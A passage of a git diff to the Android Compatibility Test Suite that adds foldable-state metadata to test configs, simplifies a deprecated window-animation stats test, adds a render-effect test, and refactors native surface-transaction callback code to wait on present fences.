         <option name="test-file-name" value="CtsTelephony3TestCases.apk" />
diff --git a/tests/tests/telephony4/AndroidTest.xml b/tests/tests/telephony4/AndroidTest.xml
index 3140fea..689fc61 100644
--- a/tests/tests/telephony4/AndroidTest.xml
+++ b/tests/tests/telephony4/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/textclassifier/AndroidTest.xml b/tests/tests/textclassifier/AndroidTest.xml
index ca4349d..67e9365 100644
--- a/tests/tests/textclassifier/AndroidTest.xml
+++ b/tests/tests/textclassifier/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsQueryTextClassifierServiceActivity.apk" />
diff --git a/tests/tests/theme/AndroidTest.xml b/tests/tests/theme/AndroidTest.xml
index 426f366..60fd130 100644
--- a/tests/tests/theme/AndroidTest.xml
+++ b/tests/tests/theme/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsThemeDeviceTestCases.apk" />
diff --git a/tests/tests/time/AndroidTest.xml b/tests/tests/time/AndroidTest.xml
index 1036c1a..8e458da 100644
--- a/tests/tests/time/AndroidTest.xml
+++ b/tests/tests/time/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/tools/processors/view_inspector/AndroidTest.xml b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
index 02be709..5b8336f 100644
--- a/tests/tests/tools/processors/view_inspector/AndroidTest.xml
+++ b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/transition/AndroidTest.xml b/tests/tests/transition/AndroidTest.xml
index 536338e..ad8d12c 100644
--- a/tests/tests/transition/AndroidTest.xml
+++ b/tests/tests/transition/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTransitionTestCases.apk" />
diff --git a/tests/tests/uiautomation/AndroidTest.xml b/tests/tests/uiautomation/AndroidTest.xml
index d5b2c92..563a6d7 100644
--- a/tests/tests/uiautomation/AndroidTest.xml
+++ b/tests/tests/uiautomation/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiAutomationTestCases.apk" />
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 221912f..a00611c 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -284,103 +284,16 @@
 
     @Presubmit
     @Test
-    public void testWindowAnimationFrameStats() throws Exception {
-        Activity firstActivity = null;
-        Activity secondActivity = null;
-        try {
-            UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
-
-            // Start the frist activity.
-            Intent firstIntent = new Intent(getInstrumentation().getContext(),
-                    UiAutomationTestFirstActivity.class);
-            firstIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            firstActivity = getInstrumentation().startActivitySync(firstIntent);
-
-            // Wait for things to settle.
-            uiAutomation.waitForIdle(
-                    QUIET_TIME_TO_BE_CONSIDERED_IDLE_STATE, TOTAL_TIME_TO_WAIT_FOR_IDLE_STATE);
-
-            // Wait for Activity draw finish
-            getInstrumentation().waitForIdleSync();
-
-            // Clear the window animation stats to be with a clean slate.
-            uiAutomation.clearWindowAnimationFrameStats();
-
-            // Start the second activity
-            Intent secondIntent = new Intent(getInstrumentation().getContext(),
-                    UiAutomationTestSecondActivity.class);
-            secondIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            secondActivity = getInstrumentation().startActivitySync(secondIntent);
-
-            // Wait for things to settle.
-            uiAutomation.waitForIdle(
-                    QUIET_TIME_TO_BE_CONSIDERED_IDLE_STATE, TOTAL_TIME_TO_WAIT_FOR_IDLE_STATE);
-
-            // Wait for Activity draw finish
-            getInstrumentation().waitForIdleSync();
-
-            // Get the frame stats.
-            WindowAnimationFrameStats stats = uiAutomation.getWindowAnimationFrameStats();
-
-            // Check the frame stats...
-
-            // We should have something.
-            assertNotNull(stats);
-
-            // The refresh presiod is always positive.
-            assertTrue(stats.getRefreshPeriodNano() > 0);
-
-            // There is some frame data.
-            final int frameCount = stats.getFrameCount();
-            assertTrue(frameCount > 0);
-
-            // The frames are ordered in ascending order.
-            assertWindowAnimationTimestampsInAscendingOrder(stats);
-
-            // The start and end times are based on first and last frame.
-            assertEquals(stats.getStartTimeNano(), stats.getFramePresentedTimeNano(0));
-            assertEquals(stats.getEndTimeNano(), stats.getFramePresentedTimeNano(frameCount - 1));
-        } finally {
-            // Clean up.
-            if (firstActivity != null) {
-                firstActivity.finish();
-            }
-            if (secondActivity != null) {
-                secondActivity.finish();
-            }
-        }
-    }
-
-    @Test
-    public void testWindowAnimationFrameStatsNoAnimation() throws Exception {
+    public void testWindowAnimationFrameStatsDoesntCrash() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
 
-        // Wait for things to settle.
-        uiAutomation.waitForIdle(
-                QUIET_TIME_TO_BE_CONSIDERED_IDLE_STATE, TOTAL_TIME_TO_WAIT_FOR_IDLE_STATE);
-
-        // Clear the window animation stats to be with a clean slate.
+        // Get the frame stats. This just needs to not crash because these APIs are deprecated.
         uiAutomation.clearWindowAnimationFrameStats();
-
-        // Get the frame stats.
         WindowAnimationFrameStats stats = uiAutomation.getWindowAnimationFrameStats();
-
-        // Check the frame stats...
-
-        // We should have something.
-        assertNotNull(stats);
-
-        // The refresh presiod is always positive.
-        assertTrue(stats.getRefreshPeriodNano() > 0);
-
-        // There is no data.
-        assertTrue(stats.getFrameCount() == 0);
-
-        // The start and end times are undefibed as we have no data.
-        assertEquals(stats.getStartTimeNano(), FrameStats.UNDEFINED_TIME_NANO);
-        assertEquals(stats.getEndTimeNano(), FrameStats.UNDEFINED_TIME_NANO);
+        assertEquals(0, stats.getFrameCount());
     }
 
+
     @Presubmit
     @Test
     public void testUsingUiAutomationAfterDestroy_shouldThrowException() {
@@ -702,21 +615,6 @@
         }
     }
 
-    private void assertWindowAnimationTimestampsInAscendingOrder(WindowAnimationFrameStats stats) {
-        long lastPresentedTimeNano = 0;
-
-        final int frameCount = stats.getFrameCount();
-        for (int i = 0; i < frameCount; i++) {
-            final long presentedTimeNano = stats.getFramePresentedTimeNano(i);
-            if (lastPresentedTimeNano == FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(presentedTimeNano == FrameStats.UNDEFINED_TIME_NANO);
-            } else if (presentedTimeNano != FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(presentedTimeNano >= lastPresentedTimeNano);
-            }
-            lastPresentedTimeNano = presentedTimeNano;
-        }
-    }
-
     // An actual version of assertThrows() was added in JUnit5
     private static <T extends Throwable> void assertThrows(Class<T> clazz, Runnable r,
             String message) {
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index 195ebd0..3239ee7 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index 87a01ba..bed338c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -58,6 +58,7 @@
 
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -620,6 +621,36 @@
             );
     }
 
+    @Test
+    public void testRenderEffectOnParentInvalidatesWhenChildChanges() {
+        final CountDownLatch latch = new CountDownLatch(1);
+        createTest()
+                .addLayout(R.layout.frame_layout, (view) -> {
+                    FrameLayout root = view.findViewById(R.id.frame_layout);
+                    root.setRenderEffect(
+                            RenderEffect.createBlurEffect(
+                                    30f, 30f, null, Shader.TileMode.CLAMP)
+                    );
+                    View innerView = new View(view.getContext());
+                    innerView.setLayoutParams(
+                            new FrameLayout.LayoutParams(TEST_WIDTH, TEST_HEIGHT));
+                    innerView.setBackgroundColor(Color.BLUE);
+                    root.addView(innerView);
+                    root.getViewTreeObserver().registerFrameCommitCallback(
+                            new Runnable() {
+                                @Override
+                                public void run() {
+                                    innerView.setBackgroundColor(Color.RED);
+                                    latch.countDown();
+                                    root.getViewTreeObserver().unregisterFrameCommitCallback(this);
+                                }
+                            }
+                    );
+                }, true, latch)
+                .runWithVerifier(new ColorVerifier(Color.RED)
+            );
+    }
+
     private static class TestDrawable extends Drawable {
 
         private final Paint mPaint = new Paint();
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
index a7652df..e871f52 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -148,7 +148,7 @@
                 .runWithVerifier(getVerifier(
                             new Point[] { new Point(0, 0), new Point(50, 50) },
                             new Color[] { greenP3, greenP3 },
-                            .002f));
+                            .006f));
     }
 
     private static Color plus(Color a, Color b) {
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 33df595..9670611 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -442,8 +442,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -563,8 +565,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -662,8 +666,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 5b84e13..a892da1 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -290,6 +290,19 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.view.cts.HandleConfigurationActivity"
+                  android:screenOrientation="locked"
+                  android:label="HandleConfigurationActivity"
+                  android:rotationAnimation="jumpcut"
+                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
+                  android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.view.cts.ContentPaneCtsActivity"
              android:screenOrientation="locked"
              android:label="ContentPaneCtsActivity"
diff --git a/tests/tests/view/AndroidTest.xml b/tests/tests/view/AndroidTest.xml
index b30904a..e0cb691 100644
--- a/tests/tests/view/AndroidTest.xml
+++ b/tests/tests/view/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsViewTestCases.apk" />
diff --git a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
index a5570e6..f315fbc 100644
--- a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
@@ -16,25 +16,25 @@
 
 #define LOG_TAG "ASurfaceControlTest"
 
-#include <sys/types.h>
-#include <sys/time.h>
-#include <unistd.h>
-
-#include <array>
-#include <cinttypes>
-#include <string>
-
 #include <android/data_space.h>
 #include <android/hardware_buffer.h>
 #include <android/log.h>
 #include <android/native_window_jni.h>
 #include <android/surface_control.h>
 #include <android/sync.h>
-
 #include <errno.h>
 #include <jni.h>
-#include <jniAssert.h>
+#include <poll.h>
+#include <sys/time.h>
+#include <sys/types.h>
 #include <time.h>
+#include <unistd.h>
+
+#include <array>
+#include <cinttypes>
+#include <string>
+
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
 
 namespace {
 
@@ -344,121 +344,71 @@
 
 class CallbackListenerWrapper {
 public:
-    explicit CallbackListenerWrapper(JNIEnv* env, jobject object) {
+    explicit CallbackListenerWrapper(JNIEnv* env, jobject object, bool waitForFence) {
         env->GetJavaVM(&mVm);
         mCallbackListenerObject = env->NewGlobalRef(object);
-        ASSERT(mCallbackListenerObject, "Failed to make global ref");
+        mWaitForFence = waitForFence;
+        if (!mCallbackListenerObject) {
+            ALOGE("Failed to make global ref");
+        }
     }
 
     ~CallbackListenerWrapper() { getenv()->DeleteGlobalRef(mCallbackListenerObject); }
 
-    void callback(int64_t latchTime) {
-        JNIEnv* env = getenv();
-        env->CallVoidMethod(mCallbackListenerObject,
-                            gTransactionCompleteListenerClassInfo.onTransactionComplete, latchTime);
-    }
+    /**
+     * This is duplicate code from sync.c, but the sync_wait function is not exposed to the ndk.
+     * The documentation recommends using poll instead of exposing sync_wait, but the sync_wait
+     * also handles errors and retries so copied the code here.
+     */
+    static int sync_wait(int fd, int timeout) {
+        struct pollfd fds;
+        int ret;
 
-    static void transactionCallbackThunk(void* context, ASurfaceTransactionStats* stats) {
-        CallbackListenerWrapper* listener = reinterpret_cast<CallbackListenerWrapper*>(context);
-        listener->callback(ASurfaceTransactionStats_getLatchTime(stats));
-        delete listener;
-    }
-
-private:
-    jobject mCallbackListenerObject;
-    JavaVM* mVm;
-
-    JNIEnv* getenv() {
-        JNIEnv* env;
-        mVm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6);
-        return env;
-    }
-};
-
-static void onComplete(void* context, ASurfaceTransactionStats* stats) {
-    if (!stats) {
-        return;
-    }
-
-    int64_t latchTime = ASurfaceTransactionStats_getLatchTime(stats);
-    if (latchTime < 0) {
-        return;
-    }
-
-    ASurfaceControl** surfaceControls = nullptr;
-    size_t surfaceControlsSize = 0;
-    ASurfaceTransactionStats_getASurfaceControls(stats, &surfaceControls, &surfaceControlsSize);
-
-    for (int i = 0; i < surfaceControlsSize; i++) {
-        ASurfaceControl* surfaceControl = surfaceControls[i];
-
-        int64_t acquireTime = ASurfaceTransactionStats_getAcquireTime(stats, surfaceControl);
-        if (acquireTime < -1) {
-            return;
+        if (fd < 0) {
+            errno = EINVAL;
+            return -1;
         }
 
-        int previousReleaseFence = ASurfaceTransactionStats_getPreviousReleaseFenceFd(
-                    stats, surfaceControl);
-        close(previousReleaseFence);
+        fds.fd = fd;
+        fds.events = POLLIN;
+
+        do {
+            ret = poll(&fds, 1, timeout);
+            if (ret > 0) {
+                if (fds.revents & (POLLERR | POLLNVAL)) {
+                    errno = EINVAL;
+                    return -1;
+                }
+                return 0;
+            } else if (ret == 0) {
+                errno = ETIME;
+                return -1;
+            }
+        } while (ret == -1 && (errno == EINTR || errno == EAGAIN));
+
+        return ret;
     }
 
-    int presentFence = ASurfaceTransactionStats_getPresentFenceFd(stats);
+    static uint64_t getPresentTime(int presentFence) {
+        uint64_t presentTime = 0;
+        int error = sync_wait(presentFence, 500);
+        if (error < 0) {
+            ALOGE("Failed to sync fence error=%d", error);
+            return 0;
+        }
 
-    if (!context) {
-        close(presentFence);
-        return;
-    }
-
-    int* contextIntPtr = reinterpret_cast<int*>(context);
-    contextIntPtr[0]++;
-    contextIntPtr[1] = presentFence;
-    int64_t* systemTimeLongPtr = reinterpret_cast<int64_t*>(contextIntPtr + 2);
-    *systemTimeLongPtr = systemTime();
-}
-
-jlong SurfaceTransaction_setOnComplete(JNIEnv* /*env*/, jclass, jlong surfaceTransaction) {
-    int* context = new int[4];
-    context[0] = 0;
-    context[1] = -1;
-    context[2] = -1;
-    context[3] = -1;
-
-    ASurfaceTransaction_setOnComplete(
-            reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
-            reinterpret_cast<void*>(context), onComplete);
-    return reinterpret_cast<jlong>(context);
-}
-
-void SurfaceTransaction_checkOnComplete(JNIEnv* env, jclass, jlong context,
-                                        jlong desiredPresentTime) {
-    ASSERT(context != 0, "invalid context")
-
-    int* contextPtr = reinterpret_cast<int*>(context);
-    int data = contextPtr[0];
-    int presentFence = contextPtr[1];
-
-    int64_t* callbackTimePtr = reinterpret_cast<int64_t*>(contextPtr + 2);
-    int64_t callbackTime = *callbackTimePtr;
-
-    delete[] contextPtr;
-
-    if (desiredPresentTime < 0) {
-        close(presentFence);
-        ASSERT(data >= 1, "did not receive a callback")
-        ASSERT(data <= 1, "received too many callbacks")
-        return;
-    }
-
-    if (presentFence >= 0) {
         struct sync_file_info* syncFileInfo = sync_file_info(presentFence);
-        ASSERT(syncFileInfo, "invalid fence");
+        if (!syncFileInfo) {
+            ALOGE("invalid fence");
+            sync_file_info_free(syncFileInfo);
+            return 0;
+        }
 
         if (syncFileInfo->status != 1) {
-            sync_file_info_free(syncFileInfo);
-            ASSERT(syncFileInfo->status == 1, "fence did not signal")
+            ALOGE("fence did not signal status=%d", syncFileInfo->status);
+            return 0;
         }
 
-        uint64_t presentTime = 0;
         struct sync_fence_info* syncFenceInfo = sync_get_fence_info(syncFileInfo);
         for (size_t i = 0; i < syncFileInfo->num_fences; i++) {
             if (syncFenceInfo[i].timestamp_ns > presentTime) {
@@ -468,25 +418,41 @@
 
         sync_file_info_free(syncFileInfo);
         close(presentFence);
-
-        // In the worst case the worst present time should be no more than three frames off from the
-        // desired present time. Since the test case is using a virtual display and there are no
-        // requirements for virtual display refresh rate timing, lets assume a refresh rate of 16fps.
-        ASSERT(presentTime < desiredPresentTime + 0.188 * 1e9, "transaction was presented too late");
-        ASSERT(presentTime >= desiredPresentTime, "transaction was presented too early");
-    } else {
-        ASSERT(presentFence == -1, "invalid fences should be -1");
-        // The device doesn't support present fences. We will use the callback time to roughly
-        // verify the result. Since the callback could take up to half a frame, do the normal bound
-        // check plus an additional half frame.
-        ASSERT(callbackTime < desiredPresentTime + (0.188 + 0.031) * 1e9,
-                                                  "transaction was presented too late");
-        ASSERT(callbackTime >= desiredPresentTime, "transaction was presented too early");
+        return presentTime;
     }
 
-    ASSERT(data >= 1, "did not receive a callback")
-    ASSERT(data <= 1, "received too many callbacks")
-}
+    void callback(ASurfaceTransactionStats* stats) {
+        JNIEnv* env = getenv();
+        int64_t latchTime = ASurfaceTransactionStats_getLatchTime(stats);
+        uint64_t presentTime = systemTime();
+        if (mWaitForFence) {
+            int presentFence = ASurfaceTransactionStats_getPresentFenceFd(stats);
+            if (presentFence >= 0) {
+                presentTime = getPresentTime(presentFence);
+            }
+        }
+        env->CallVoidMethod(mCallbackListenerObject,
+                            gTransactionCompleteListenerClassInfo.onTransactionComplete, latchTime,
+                            presentTime);
+    }
+
+    static void transactionCallbackThunk(void* context, ASurfaceTransactionStats* stats) {
+        CallbackListenerWrapper* listener = reinterpret_cast<CallbackListenerWrapper*>(context);
+        listener->callback(stats);
+        delete listener;
+    }
+
+private:
+    jobject mCallbackListenerObject;
+    JavaVM* mVm;
+    bool mWaitForFence;
+
+    JNIEnv* getenv() {
+        JNIEnv* env;
+        mVm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6);
+        return env;
+    }
+};
 
 jlong SurfaceTransaction_setDesiredPresentTime(JNIEnv* /*env*/, jclass, jlong surfaceTransaction,
                                               jlong desiredPresentTimeOffset) {
@@ -538,8 +504,8 @@
 }
 
 void SurfaceTransaction_setOnCompleteCallback(JNIEnv* env, jclass, jlong surfaceTransaction,
-                                              jobject callback) {
-    void* context = new CallbackListenerWrapper(env, callback);
+                                              jboolean waitForFence, jobject callback) {
+    void* context = new CallbackListenerWrapper(env, callback, waitForFence);
     ASurfaceTransaction_setOnComplete(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
                                       reinterpret_cast<void*>(context),
                                       CallbackListenerWrapper::transactionCallbackThunk);
@@ -547,7 +513,7 @@
 
 void SurfaceTransaction_setOnCommitCallback(JNIEnv* env, jclass, jlong surfaceTransaction,
                                             jobject callback) {
-    void* context = new CallbackListenerWrapper(env, callback);
+    void* context = new CallbackListenerWrapper(env, callback, false /* waitForFence */);
     ASurfaceTransaction_setOnCommit(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
                                     reinterpret_cast<void*>(context),
                                     CallbackListenerWrapper::transactionCallbackThunk);
@@ -563,8 +529,9 @@
 
 void SurfaceTransaction_setOnCompleteCallbackWithoutContext(JNIEnv* env, jclass,
                                                             jlong surfaceTransaction,
+                                                            jboolean waitForFence,
                                                             jobject callback) {
-    listener = new CallbackListenerWrapper(env, callback);
+    listener = new CallbackListenerWrapper(env, callback, waitForFence);
     ASurfaceTransaction_setOnComplete(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
                                       nullptr, transactionCallbackWithoutContextThunk);
 }
@@ -572,12 +539,12 @@
 void SurfaceTransaction_setOnCommitCallbackWithoutContext(JNIEnv* env, jclass,
                                                           jlong surfaceTransaction,
                                                           jobject callback) {
-    listener = new CallbackListenerWrapper(env, callback);
+    listener = new CallbackListenerWrapper(env, callback, false /* waitForFence */);
     ASurfaceTransaction_setOnCommit(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
                                     nullptr, transactionCallbackWithoutContextThunk);
 }
 
-const std::array<JNINativeMethod, 31> JNI_METHODS = {{
+static const JNINativeMethod JNI_METHODS[] = {
         {"nSurfaceTransaction_create", "()J", (void*)SurfaceTransaction_create},
         {"nSurfaceTransaction_delete", "(J)V", (void*)SurfaceTransaction_delete},
         {"nSurfaceTransaction_apply", "(J)V", (void*)SurfaceTransaction_apply},
@@ -600,8 +567,6 @@
         {"nSurfaceTransaction_setDamageRegion", "(JJIIII)V",
          (void*)SurfaceTransaction_setDamageRegion},
         {"nSurfaceTransaction_setZOrder", "(JJI)V", (void*)SurfaceTransaction_setZOrder},
-        {"nSurfaceTransaction_setOnComplete", "(J)J", (void*)SurfaceTransaction_setOnComplete},
-        {"nSurfaceTransaction_checkOnComplete", "(JJ)V", (void*)SurfaceTransaction_checkOnComplete},
         {"nSurfaceTransaction_setDesiredPresentTime", "(JJ)J",
          (void*)SurfaceTransaction_setDesiredPresentTime},
         {"nSurfaceTransaction_setBufferAlpha", "(JJD)V", (void*)SurfaceTransaction_setBufferAlpha},
@@ -610,7 +575,7 @@
         {"nSurfaceTransaction_setEnableBackPressure", "(JJZ)V",
          (void*)SurfaceTransaction_setEnableBackPressure},
         {"nSurfaceTransaction_setOnCompleteCallback",
-         "(JLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
+         "(JZLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
          (void*)SurfaceTransaction_setOnCompleteCallback},
         {"nSurfaceTransaction_setOnCommitCallback",
          "(JLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
@@ -621,13 +586,12 @@
          (void*)SurfaceTransaction_setBufferTransform},
         {"nSurfaceTransaction_setScale", "(JJFF)V", (void*)SurfaceTransaction_setScale},
         {"nSurfaceTransaction_setOnCompleteCallbackWithoutContext",
-         "(JLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
+         "(JZLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
          (void*)SurfaceTransaction_setOnCompleteCallbackWithoutContext},
         {"nSurfaceTransaction_setOnCommitCallbackWithoutContext",
          "(JLandroid/view/cts/util/ASurfaceControlTestUtils$TransactionCompleteListener;)V",
          (void*)SurfaceTransaction_setOnCommitCallbackWithoutContext},
-
-}};
+};
 
 }  // anonymous namespace
 
@@ -637,7 +601,7 @@
     gTransactionCompleteListenerClassInfo.clazz =
             static_cast<jclass>(env->NewGlobalRef(transactionCompleteListenerClazz));
     gTransactionCompleteListenerClassInfo.onTransactionComplete =
-            env->GetMethodID(transactionCompleteListenerClazz, "onTransactionComplete", "(J)V");
+            env->GetMethodID(transactionCompleteListenerClazz, "onTransactionComplete", "(JJ)V");
     jclass clazz = env->FindClass("android/view/cts/util/ASurfaceControlTestUtils");
-    return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+    return env->RegisterNatives(clazz, JNI_METHODS, sizeof(JNI_METHODS) / sizeof(JNINativeMethod));
 }
diff --git a/tests/tests/view/receivecontent/AndroidTest.xml b/tests/tests/view/receivecontent/AndroidTest.xml
index d2c2436..6ce64b2 100644
